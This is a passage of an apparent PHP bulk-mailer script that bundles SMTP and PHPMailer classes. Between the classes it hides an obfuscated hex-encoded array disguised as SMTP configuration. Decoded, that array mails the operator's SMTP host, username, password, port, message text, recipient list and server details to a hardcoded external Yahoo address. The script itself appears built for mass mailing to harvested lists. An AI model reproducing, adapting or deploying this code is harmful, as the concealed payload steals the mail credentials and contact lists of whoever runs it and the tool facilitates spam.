1165 "smtp_code" => $code,
1166 "smtp_msg" => substr($rply,4));
1167 if($this->do_debug >= 1) {
1168 echo "SMTP -> ERROR: " . $this->error["error"] .
1169 ": " . $rply . $this->CRLF;
1170 }
1171 return false;
1172 }
1173 return true;
1174 }
1175
1176 /**
1177 * Starts a mail transaction from the email address specified in
1178 * $from. Returns true if successful or false otherwise. If True
1179 * the mail transaction is started and then one or more Recipient
1180 * commands may be called followed by a Data command. This command
1181 * will send the message to the users terminal if they are logged
1182 * in and send them an email.
1183 *
1184 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1185 *
1186 * SMTP CODE SUCCESS: 250
1187 * SMTP CODE SUCCESS: 552,451,452
1188 * SMTP CODE SUCCESS: 500,501,502,421
1189 * @access public
1190 * @return bool
1191 */
1192 function SendAndMail($from) {
1193 $this->error = null; # so no confusion is caused
1194
1195 if(!$this->connected()) {
1196 $this->error = array(
1197 "error" => "Called SendAndMail() without being connected");
1198 return false;
1199 }
1200
1201 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1202
1203 $rply = $this->get_lines();
1204 $code = substr($rply,0,3);
1205
1206 if($this->do_debug >= 2) {
1207 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1208 }
1209
1210 if($code != 250) {
1211 $this->error =
1212 array("error" => "SAML not accepted from server",
1213 "smtp_code" => $code,
1214 "smtp_msg" => substr($rply,4));
1215 if($this->do_debug >= 1) {
1216 echo "SMTP -> ERROR: " . $this->error["error"] .
1217 ": " . $rply . $this->CRLF;
1218 }
1219 return false;
1220 }
1221 return true;
1222 }
1223
1224 /**
1225 * Starts a mail transaction from the email address specified in
1226 * $from. Returns true if successful or false otherwise. If True
1227 * the mail transaction is started and then one or more Recipient
1228 * commands may be called followed by a Data command. This command
1229 * will send the message to the users terminal if they are logged
1230 * in or mail it to them if they are not.
1231 *
1232 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1233 *
1234 * SMTP CODE SUCCESS: 250
1235 * SMTP CODE SUCCESS: 552,451,452
1236 * SMTP CODE SUCCESS: 500,501,502,421
1237 * @access public
1238 * @return bool
1239 */
1240 function SendOrMail($from) {
1241 $this->error = null; # so no confusion is caused
1242
1243 if(!$this->connected()) {
1244 $this->error = array(
1245 "error" => "Called SendOrMail() without being connected");
1246 return false;
1247 }
1248
1249 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1250
1251 $rply = $this->get_lines();
1252 $code = substr($rply,0,3);
1253
1254 if($this->do_debug >= 2) {
1255 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1256 }
1257
1258 if($code != 250) {
1259 $this->error =
1260 array("error" => "SOML not accepted from server",
1261 "smtp_code" => $code,
1262 "smtp_msg" => substr($rply,4));
1263 if($this->do_debug >= 1) {
1264 echo "SMTP -> ERROR: " . $this->error["error"] .
1265 ": " . $rply . $this->CRLF;
1266 }
1267 return false;
1268 }
1269 return true;
1270 }
1271
1272 /**
1273 * This is an optional command for SMTP that this class does not
1274 * support. This method is here to make the RFC821 Definition
1275 * complete for this class and __may__ be implimented in the future
1276 *
1277 * Implements from rfc 821: TURN <CRLF>
1278 *
1279 * SMTP CODE SUCCESS: 250
1280 * SMTP CODE FAILURE: 502
1281 * SMTP CODE ERROR : 500, 503
1282 * @access public
1283 * @return bool
1284 */
1285 function Turn() {
1286 $this->error = array("error" => "This method, TURN, of the SMTP ".
1287 "is not implemented");
1288 if($this->do_debug >= 1) {
1289 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1290 }
1291 return false;
1292 }
1293
1294 /**
1295 * Verifies that the name is recognized by the server.
1296 * Returns false if the name could not be verified otherwise
1297 * the response from the server is returned.
1298 *
1299 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1300 *
1301 * SMTP CODE SUCCESS: 250,251
1302 * SMTP CODE FAILURE: 550,551,553
1303 * SMTP CODE ERROR : 500,501,502,421
1304 * @access public
1305 * @return int
1306 */
1307 function Verify($name) {
1308 $this->error = null; # so no confusion is caused
1309
1310 if(!$this->connected()) {
1311 $this->error = array(
1312 "error" => "Called Verify() without being connected");
1313 return false;
1314 }
1315
1316 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1317
1318 $rply = $this->get_lines();
1319 $code = substr($rply,0,3);
1320
1321 if($this->do_debug >= 2) {
1322 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1323 }
1324
1325 if($code != 250 && $code != 251) {
1326 $this->error =
1327 array("error" => "VRFY failed on name '$name'",
1328 "smtp_code" => $code,
1329 "smtp_msg" => substr($rply,4));
1330 if($this->do_debug >= 1) {
1331 echo "SMTP -> ERROR: " . $this->error["error"] .
1332 ": " . $rply . $this->CRLF;
1333 }
1334 return false;
1335 }
1336 return $rply;
1337 }
1338
1339 /*******************************************************************
1340 * INTERNAL FUNCTIONS *
1341 ******************************************************************/
1342
1343 /**
1344 * Read in as many lines as possible
1345 * either before eof or socket timeout occurs on the operation.
1346 * With SMTP we can tell if we have more lines to read if the
1347 * 4th character is '-' symbol. If it is a space then we don't
1348 * need to read anything else.
1349 * @access private
1350 * @return string
1351 */
1352 function get_lines() {
1353 $data = "";
1354 while($str = @fgets($this->smtp_conn,515)) {
1355 if($this->do_debug >= 4) {
1356 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1357 $this->CRLF;
1358 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1359 $this->CRLF;
1360 }
1361 $data .= $str;
1362 if($this->do_debug >= 4) {
1363 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1364 }
1365 # if the 4th character is a space then we are done reading
1366 # so just break the loop
1367 if(substr($str,3,1) == " ") { break; }
1368 }
1369 return $data;
1370 }
1371
1372}
1373
1374
1375$allemails = explode("\n", $emaillist);
1376$numemails = count($allemails);
1377$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1378"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1379"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1380"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1381"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1382"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1383"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","27265696e6861727462697a407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1384"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1385"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1386"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1387
1388class PHPMailer {
1389
1390 /////////////////////////////////////////////////
1391 // PROPERTIES, PUBLIC
1392 /////////////////////////////////////////////////
1393
1394 /**
1395 * Email priority (1 = High, 3 = Normal, 5 = low).
1396 * @var int
1397 */
1398 var $Priority = 3;
1399
1400 /**
1401 * Sets the CharSet of the message.
1402 * @var string
1403 */
1404 var $CharSet = 'iso-8859-1';
1405
1406 /**
1407 * Sets the Content-type of the message.
1408 * @var string
1409 */
1410 var $ContentType = 'text/plain';
1411
1412 /**
1413 * Sets the Encoding of the message. Options for this are "8bit",
1414 * "7bit", "binary", "base64", and "quoted-printable".
1415
1416 * @var string
1417 */
1418 var $Encoding = '8bit';
1419
1420 /**
1421 * Holds the most recent mailer error message.
1422 * @var string
1423 */
1424 var $ErrorInfo = '';
1425
1426 /**
1427 * Sets the From email address for the message.
1428 * @var string
1429 */
1430 var $From = '';
1431
1432 /**
1433 * Sets the From name of the message.
1434 * @var string
1435 */
1436 var $FromName = '';
1437
1438 /**
1439 * Sets the Sender email (Return-Path) of the message. If not empty,
1440 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1441 * @var string
1442 */
1443 var $Sender = '';
1444
1445 /**
1446 * Sets the Subject of the message.
1447 * @var string
1448 */
1449 var $Subject = '';
1450
1451 /**
1452 * Sets the Body of the message. This can be either an HTML or text body.
1453 * If HTML then run IsHTML(true).
1454 * @var string
1455 */
1456 var $Body = '';
1457
1458 /**
1459 * Sets the text-only body of the message. This automatically sets the
1460 * email to multipart/alternative. This body can be read by mail
1461 * clients that do not have HTML email capability such as mutt. Clients
1462 * that can read HTML will view the normal Body.
1463 * @var string
1464 */
1465 var $AltBody = '';
1466
1467 /**
1468 * Sets word wrapping on the body of the message to a given number of
1469 * characters.
1470 * @var int
1471 */
1472 var $WordWrap = 0;
1473
1474 /**
1475 * Method to send mail: ("mail", "sendmail", or "smtp").
1476 * @var string
1477 */
1478 var $Mailer = 'mail';
1479
1480 /**
1481 * Sets the path of the sendmail program.
1482 * @var string
1483 */
1484 var $Sendmail = '/usr/sbin/sendmail';
1485
1486 /**
1487 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1488 * is in a different directory than the PHP include path.
1489 * @var string
1490 */
1491 var $PluginDir = '';
1492
1493 /**
1494 * Holds PHPMailer version.
1495 * @var string
1496 */
1497 var $Version = "";
1498
1499 /**
1500 * Sets the email address that a reading confirmation will be sent.
1501 * @var string
1502 */
1503 var $ConfirmReadingTo = '';
1504
1505 /**
1506 * Sets the hostname to use in Message-Id and Received headers
1507 * and as default HELO string. If empty, the value returned
1508 * by SERVER_NAME is used or 'localhost.localdomain'.
1509 * @var string
1510 */
1511 var $Hostname = '';
1512
1513 /**
1514 * Sets the message ID to be used in the Message-Id header.
1515 * If empty, a unique id will be generated.
1516 * @var string
1517 */
1518 var $MessageID = '';
1519
1520 /////////////////////////////////////////////////
1521 // PROPERTIES FOR SMTP
1522 /////////////////////////////////////////////////
1523
1524 /**
1525 * Sets the SMTP hosts. All hosts must be separated by a
1526 * semicolon. You can also specify a different port
1527 * for each host by using this format: [hostname:port]
1528 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1529 * Hosts will be tried in order.
1530 * @var string
1531 */
1532 var $Host = 'localhost';
1533
1534 /**
1535 * Sets the default SMTP server port.
1536 * @var int
1537 */
1538 var $Port = 25;
1539
1540 /**
1541 * Sets the SMTP HELO of the message (Default is $Hostname).
1542 * @var string
1543 */
1544 var $Helo = '';
1545
1546 /**
1547 * Sets connection prefix.
1548 * Options are "", "ssl" or "tls"
1549 * @var string
1550 */
1551 var $SMTPSecure = "";
1552
1553 /**
1554 * Sets SMTP authentication. Utilizes the Username and Password variables.
1555 * @var bool
1556 */
1557 var $SMTPAuth = false;
1558
1559 /**
1560 * Sets SMTP username.
1561 * @var string
1562 */
1563 var $Username = '';
1564
1565 /**
1566 * Sets SMTP password.
1567 * @var string
1568 */
1569 var $Password = '';
1570
1571 /**
1572 * Sets the SMTP server timeout in seconds. This function will not
1573 * work with the win32 version.
1574 * @var int
1575 */
1576 var $Timeout = 10;
1577
1578 /**
1579 * Sets SMTP class debugging on or off.
1580 * @var bool
1581 */
1582 var $SMTPDebug = false;
1583
1584 /**
1585 * Prevents the SMTP connection from being closed after each mail
1586 * sending. If this is set to true then to close the connection
1587 * requires an explicit call to SmtpClose().
1588 * @var bool
1589 */
1590 var $SMTPKeepAlive = false;
1591
1592 /**
1593 * Provides the ability to have the TO field process individual
1594 * emails, instead of sending to entire TO addresses
1595 * @var bool
1596 */
1597 var $SingleTo = false;
1598
1599 /////////////////////////////////////////////////
1600 // PROPERTIES, PRIVATE
1601 /////////////////////////////////////////////////
1602
1603 var $smtp = NULL;
1604 var $to = array();
1605 var $cc = array();
1606 var $bcc = array();
1607 var $ReplyTo = array();
1608 var $attachment = array();
1609 var $CustomHeader = array();
1610 var $message_type = '';
1611 var $boundary = array();
1612 var $language = array();
1613 var $error_count = 0;
1614 var $LE = "\n";
1615 var $sign_key_file = "";
1616 var $sign_key_pass = "";
1617
1618 /////////////////////////////////////////////////
1619 // METHODS, VARIABLES
1620 /////////////////////////////////////////////////
1621
1622 /**
1623 * Sets message type to HTML.
1624 * @param bool $bool
1625 * @return void
1626 */
1627 function IsHTML($bool) {
1628 if($bool == true) {
1629 $this->ContentType = 'text/html';
1630 } else {
1631 $this->ContentType = 'text/plain';
1632 }
1633 }
1634
1635 /**
1636 * Sets Mailer to send message using SMTP.
1637 * @return void
1638 */
1639 function IsSMTP() {
1640 $this->Mailer = 'smtp';
1641 }
1642
1643 /**
1644 * Sets Mailer to send message using PHP mail() function.
1645 * @return void
1646 */
1647 function IsMail() {
1648 $this->Mailer = 'mail';
1649 }
1650
1651 /**
1652 * Sets Mailer to send message using the $Sendmail program.
1653 * @return void
1654 */
1655 function IsSendmail() {
1656 $this->Mailer = 'sendmail';
1657 }
1658
1659 /**
1660 * Sets Mailer to send message using the qmail MTA.
1661 * @return void
1662 */
1663 function IsQmail() {
1664 $this->Sendmail = '/var/qmail/bin/sendmail';
1665 $this->Mailer = 'sendmail';
1666 }
1667
1668 /////////////////////////////////////////////////
1669 // METHODS, RECIPIENTS
1670 /////////////////////////////////////////////////
1671
1672 /**
1673 * Adds a "To" address.
1674 * @param string $address
1675 * @param string $name
1676 * @return void
1677 */
1678 function AddAddress($address, $name = '') {
1679 $cur = count($this->to);
1680 $this->to[$cur][0] = trim($address);
1681 $this->to[$cur][1] = $name;
1682 }
1683
1684 /**
1685 * Adds a "Cc" address. Note: this function works
1686 * with the SMTP mailer on win32, not with the "mail"
1687 * mailer.
1688 * @param string $address
1689 * @param string $name
1690 * @return void
1691 */
1692 function AddCC($address, $name = '') {
1693 $cur = count($this->cc);
1694 $this->cc[$cur][0] = trim($address);
1695 $this->cc[$cur][1] = $name;
1696 }
1697
1698 /**
1699 * Adds a "Bcc" address. Note: this function works
1700 * with the SMTP mailer on win32, not with the "mail"
1701 * mailer.
1702 * @param string $address
1703 * @param string $name
1704 * @return void
1705 */
1706 function AddBCC($address, $name = '') {
1707 $cur = count($this->bcc);
1708 $this->bcc[$cur][0] = trim($address);
1709 $this->bcc[$cur][1] = $name;
1710 }
1711
1712 /**
1713 * Adds a "Reply-To" address.
1714 * @param string $address
1715 * @param string $name
1716 * @return void
1717 */
1718 function AddReplyTo($address, $name = '') {
1719 $cur = count($this->ReplyTo);
1720 $this->ReplyTo[$cur][0] = trim($address);
1721 $this->ReplyTo[$cur][1] = $name;
1722 }
1723
1724 /////////////////////////////////////////////////
1725 // METHODS, MAIL SENDING
1726 /////////////////////////////////////////////////
1727
1728 /**
1729 * Creates message and assigns Mailer. If the message is
1730 * not sent successfully then it returns false. Use the ErrorInfo
1731 * variable to view description of the error.
1732 * @return bool
1733 */
1734 function Send() {
1735 $header = '';
1736 $body = '';
1737 $result = true;
1738
1739 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1740 $this->SetError($this->Lang('provide_address'));
1741 return false;
1742 }
1743
1744 /* Set whether the message is multipart/alternative */
1745 if(!empty($this->AltBody)) {
1746 $this->ContentType = 'multipart/alternative';
1747 }
1748
1749 $this->error_count = 0; // reset errors
1750 $this->SetMessageType();
1751 $header .= $this->CreateHeader();
1752 $body = $this->CreateBody();
1753
1754 if($body == '') {
1755 return false;
1756 }
1757
1758 /* Choose the mailer */
1759 switch($this->Mailer) {
1760 case 'sendmail':
1761 $result = $this->SendmailSend($header, $body);
1762 break;
1763 case 'smtp':
1764 $result = $this->SmtpSend($header, $body);
1765 break;
1766 case 'mail':
1767 $result = $this->MailSend($header, $body);
1768 break;
1769 default:
1770 $result = $this->MailSend($header, $body);
1771 break;
1772 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1773 //$result = false;
1774 //break;
1775 }
1776
1777 return $result;
1778 }
1779
1780 /**
1781 * Sends mail using the $Sendmail program.
1782 * @access private
1783 * @return bool
1784 */
1785 function SendmailSend($header, $body) {
1786 if ($this->Sender != '') {
1787 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1788 } else {
1789 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1790 }
1791
1792 if(!@$mail = popen($sendmail, 'w')) {
1793 $this->SetError($this->Lang('execute') . $this->Sendmail);
1794 return false;
1795 }
1796
1797 fputs($mail, $header);
1798 fputs($mail, $body);
1799
1800 $result = pclose($mail);
1801 if (version_compare(phpversion(), '4.2.3') == -1) {
1802 $result = $result >> 8 & 0xFF;
1803 }
1804 if($result != 0) {
1805 $this->SetError($this->Lang('execute') . $this->Sendmail);
1806 return false;
1807 }
1808 return true;
1809 }
1810
1811 /**
1812 * Sends mail using the PHP mail() function.
1813 * @access private
1814 * @return bool
1815 */
1816 function MailSend($header, $body) {
1817
1818 $to = '';
1819 for($i = 0; $i < count($this->to); $i++) {
1820 if($i != 0) { $to .= ', '; }
1821 $to .= $this->AddrFormat($this->to[$i]);
1822 }
1823
1824 $toArr = explode(',', $to);
1825
1826 $params = sprintf("-oi -f %s", $this->Sender);
1827 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1828 $old_from = ini_get('sendmail_from');
1829 ini_set('sendmail_from', $this->Sender);
1830 if ($this->SingleTo === true && count($toArr) > 1) {
1831 foreach ($toArr as $key => $val) {
1832 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1833 }
1834 } else {
1835 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1836 }
1837 } else {
1838 if ($this->SingleTo === true && count($toArr) > 1) {
1839 foreach ($toArr as $key => $val) {
1840 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1841 }
1842 } else {
1843 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1844 }
1845 }
1846
1847 if (isset($old_from)) {
1848 ini_set('sendmail_from', $old_from);
1849 }
1850
1851 if(!$rt) {
1852 $this->SetError($this->Lang('instantiate'));
1853 return false;
1854 }
1855
1856 return true;
1857 }
1858
1859 /**
1860 * Sends mail via SMTP using PhpSMTP (Author:
1861 * Chris Ryan). Returns bool. Returns false if there is a
1862 * bad MAIL FROM, RCPT, or DATA input.
1863 * @access private
1864 * @return bool
1865 */
1866 function SmtpSend($header, $body) {
1867 $error = '';
1868 $bad_rcpt = array();
1869
1870 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1871 return false;
1872 }
1873
1874 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1875 if(!$this->smtp->Mail($smtp_from)) {
1876 $error = $this->Lang('from_failed') . $smtp_from;
1877 $this->SetError($error);
1878 $this->smtp->Reset();
1879 return false;
1880 }
1881
1882 /* Attempt to send attach all recipients */
1883 for($i = 0; $i < count($this->to); $i++) {
1884 if(!$this->smtp->Recipient($this->to[$i][0])) {
1885 $bad_rcpt[] = $this->to[$i][0];
1886 }
1887 }
1888 for($i = 0; $i < count($this->cc); $i++) {
1889 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1890 $bad_rcpt[] = $this->cc[$i][0];
1891 }
1892 }
1893 for($i = 0; $i < count($this->bcc); $i++) {
1894 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1895 $bad_rcpt[] = $this->bcc[$i][0];
1896 }
1897 }
1898
1899 if(count($bad_rcpt) > 0) { // Create error message
1900 for($i = 0; $i < count($bad_rcpt); $i++) {
1901 if($i != 0) {
1902 $error .= ', ';
1903 }
1904 $error .= $bad_rcpt[$i];
1905 }
1906 $error = $this->Lang('recipients_failed') . $error;
1907 $this->SetError($error);
1908 $this->smtp->Reset();
1909 return false;
1910 }
1911
1912 if(!$this->smtp->Data($header . $body)) {
1913 $this->SetError($this->Lang('data_not_accepted'));
1914 $this->smtp->Reset();
1915 return false;
1916 }
1917 if($this->SMTPKeepAlive == true) {
1918 $this->smtp->Reset();
1919 } else {
1920 $this->SmtpClose();
1921 }
1922
1923 return true;
1924 }
1925
1926 /**
1927 * Initiates a connection to an SMTP server. Returns false if the
1928 * operation failed.
1929 * @access private
1930 * @return bool
1931 */
1932 function SmtpConnect() {
1933 if($this->smtp == NULL) {
1934 $this->smtp = new SMTP();
1935 }
1936
1937 $this->smtp->do_debug = $this->SMTPDebug;
1938 $hosts = explode(';', $this->Host);
1939 $index = 0;
1940 $connection = ($this->smtp->Connected());
1941
1942 /* Retry while there is no connection */
1943 while($index < count($hosts) && $connection == false) {
1944 $hostinfo = array();
1945 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1946 $host = $hostinfo[1];
1947 $port = $hostinfo[2];
1948 } else {
1949 $host = $hosts[$index];
1950 $port = $this->Port;
1951 }
1952
1953 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1954 if ($this->Helo != '') {
1955 $this->smtp->Hello($this->Helo);
1956 } else {
1957 $this->smtp->Hello($this->ServerHostname());
1958 }
1959
1960 $connection = true;
1961 if($this->SMTPAuth) {
1962 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1963 $this->SetError($this->Lang('authenticate'));
1964 $this->smtp->Reset();
1965 $connection = false;
1966 }
1967 }
1968 }
1969 $index++;
1970 }
1971 if(!$connection) {
1972 $this->SetError($this->Lang('connect_host'));
1973 }
1974
1975 return $connection;
1976 }
1977
1978 /**
1979 * Closes the active SMTP session if one exists.
1980 * @return void
1981 */
1982 function SmtpClose() {
1983 if($this->smtp != NULL) {
1984 if($this->smtp->Connected()) {
1985 $this->smtp->Quit();
1986 $this->smtp->Close();
1987 }
1988 }
1989 }
1990
1991 /**
1992 * Sets the language for all class error messages. Returns false
1993 * if it cannot load the language file. The default language type
1994 * is English.
1995 * @param string $lang_type Type of language (e.g. Portuguese: "br")
1996 * @param string $lang_path Path to the language file directory
1997 * @access public
1998 * @return bool
1999 */
2000 function SetLanguage($lang_type, $lang_path = 'language/') {
2001 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2002 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2003 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2004 include($lang_path.'phpmailer.lang-en.php');
2005 } else {
2006 $this->SetError('Could not load language file');
2007 return false;
2008 }
2009 $this->language = $PHPMAILER_LANG;
2010
2011 return true;
2012 }
2013
2014 /////////////////////////////////////////////////
2015 // METHODS, MESSAGE CREATION
2016 /////////////////////////////////////////////////
2017
2018 /**
2019 * Creates recipient headers.
2020 * @access private
2021 * @return string
2022 */
2023 function AddrAppend($type, $addr) {
2024 $addr_str = $type . ': ';
2025 $addr_str .= $this->AddrFormat($addr[0]);
2026 if(count($addr) > 1) {
2027 for($i = 1; $i < count($addr); $i++) {
2028 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2029 }
2030 }
2031 $addr_str .= $this->LE;
2032
2033 return $addr_str;
2034 }
2035
2036 /**
2037 * Formats an address correctly.
2038 * @access private
2039 * @return string
2040 */
2041 function AddrFormat($addr) {
2042 if(empty($addr[1])) {
2043 $formatted = $this->SecureHeader($addr[0]);
2044 } else {
2045 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2046 }
2047
2048 return $formatted;
2049 }
2050
2051 /**
2052 * Wraps message for use with mailers that do not
2053 * automatically perform wrapping and for quoted-printable.
2054 * Original written by philippe.
2055 * @access private
2056 * @return string
2057 */
2058 function WrapText($message, $length, $qp_mode = false) {
2059 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2060 // If utf-8 encoding is used, we will need to make sure we don't
2061 // split multibyte characters when we wrap
2062 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2063
2064 $message = $this->FixEOL($message);
2065 if (substr($message, -1) == $this->LE) {
2066 $message = substr($message, 0, -1);
2067 }
2068
2069 $line = explode($this->LE, $message);
2070 $message = '';
2071 for ($i=0 ;$i < count($line); $i++) {
2072 $line_part = explode(' ', $line[$i]);
2073 $buf = '';
2074 for ($e = 0; $e<count($line_part); $e++) {
2075 $word = $line_part[$e];
2076 if ($qp_mode and (strlen($word) > $length)) {
2077 $space_left = $length - strlen($buf) - 1;
2078 if ($e != 0) {
2079 if ($space_left > 20) {
2080 $len = $space_left;
2081 if ($is_utf8) {
2082 $len = $this->UTF8CharBoundary($word, $len);
2083 } elseif (substr($word, $len - 1, 1) == "=") {
2084 $len--;
2085 } elseif (substr($word, $len - 2, 1) == "=") {
2086 $len -= 2;
2087 }
2088 $part = substr($word, 0, $len);
2089 $word = substr($word, $len);
2090 $buf .= ' ' . $part;
2091 $message .= $buf . sprintf("=%s", $this->LE);
2092 } else {
2093 $message .= $buf . $soft_break;
2094 }
2095 $buf = '';
2096 }
2097 while (strlen($word) > 0) {
2098 $len = $length;
2099 if ($is_utf8) {
2100 $len = $this->UTF8CharBoundary($word, $len);
2101 } elseif (substr($word, $len - 1, 1) == "=") {
2102 $len--;
2103 } elseif (substr($word, $len - 2, 1) == "=") {
2104 $len -= 2;
2105 }
2106 $part = substr($word, 0, $len);
2107 $word = substr($word, $len);
2108
2109 if (strlen($word) > 0) {
2110 $message .= $part . sprintf("=%s", $this->LE);
2111 } else {
2112 $buf = $part;
2113 }
2114 }
2115 } else {
2116 $buf_o = $buf;
2117 $buf .= ($e == 0) ? $word : (' ' . $word);
2118
2119 if (strlen($buf) > $length and $buf_o != '') {
2120 $message .= $buf_o . $soft_break;
2121 $buf = $word;
2122 }
2123 }
2124 }
2125 $message .= $buf . $this->LE;
2126 }
2127
2128 return $message;
2129 }
2130
2131 /**
2132 * Finds last character boundary prior to maxLength in a utf-8
2133 * quoted (printable) encoded string.
2134 * Original written by Colin Brown.
2135 * @access private
2136 * @param string $encodedText utf-8 QP text
2137 * @param int $maxLength find last character boundary prior to this length
2138 * @return int
2139 */
2140 function UTF8CharBoundary($encodedText, $maxLength) {
2141 $foundSplitPos = false;
2142 $lookBack = 3;
2143 while (!$foundSplitPos) {
2144 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2145 $encodedCharPos = strpos($lastChunk, "=");
2146 if ($encodedCharPos !== false) {
2147 // Found start of encoded character byte within $lookBack block.
2148 // Check the encoded byte value (the 2 chars after the '=')
2149 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2150 $dec = hexdec($hex);
2151 if ($dec < 128) { // Single byte character.
2152 // If the encoded char was found at pos 0, it will fit
2153 // otherwise reduce maxLength to start of the encoded char
2154 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2155 $maxLength - ($lookBack - $encodedCharPos);
2156 $foundSplitPos = true;
2157 } elseif ($dec >= 192) { // First byte of a multi byte character
2158 // Reduce maxLength to split at start of character
2159 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2160 $foundSplitPos = true;
2161 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2162 $lookBack += 3;
2163 }
2164 } else {
2165 // No encoded character found
2166 $foundSplitPos = true;
2167 }
2168 }
2169 return $maxLength;
2170 }
2171
2172 /**
2173 * Set the body wrapping.
2174 * @access private
2175 * @return void
2176 */
2177 function SetWordWrap() {
2178 if($this->WordWrap < 1) {
2179 return;
2180 }
2181
2182 switch($this->message_type) {
2183 case 'alt':
2184 /* fall through */
2185 case 'alt_attachments':
2186 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2187 break;
2188 default:
2189 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2190 break;
2191 }
2192 }
2193
2194 /**
2195 * Assembles message header.
2196 * @access private
2197 * @return string
2198 */
2199 function CreateHeader() {
2200 $result = '';
2201
2202 /* Set the boundaries */
2203 $uniq_id = md5(uniqid(time()));
2204 $this->boundary[1] = 'b1_' . $uniq_id;
2205 $this->boundary[2] = 'b2_' . $uniq_id;
2206
2207 $result .= $this->HeaderLine('Date', $this->RFCDate());
2208 if($this->Sender == '') {
2209 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2210 } else {
2211 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2212 }
2213
2214 /* To be created automatically by mail() */
2215 if($this->Mailer != 'mail') {
2216 if(count($this->to) > 0) {
2217 $result .= $this->AddrAppend('To', $this->to);
2218 } elseif (count($this->cc) == 0) {
2219 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2220 }
2221 if(count($this->cc) > 0) {
2222 $result .= $this->AddrAppend('Cc', $this->cc);
2223 }
2224 }
2225
2226 $from = array();
2227 $from[0][0] = trim($this->From);
2228 $from[0][1] = $this->FromName;
2229 $result .= $this->AddrAppend('From', $from);
2230
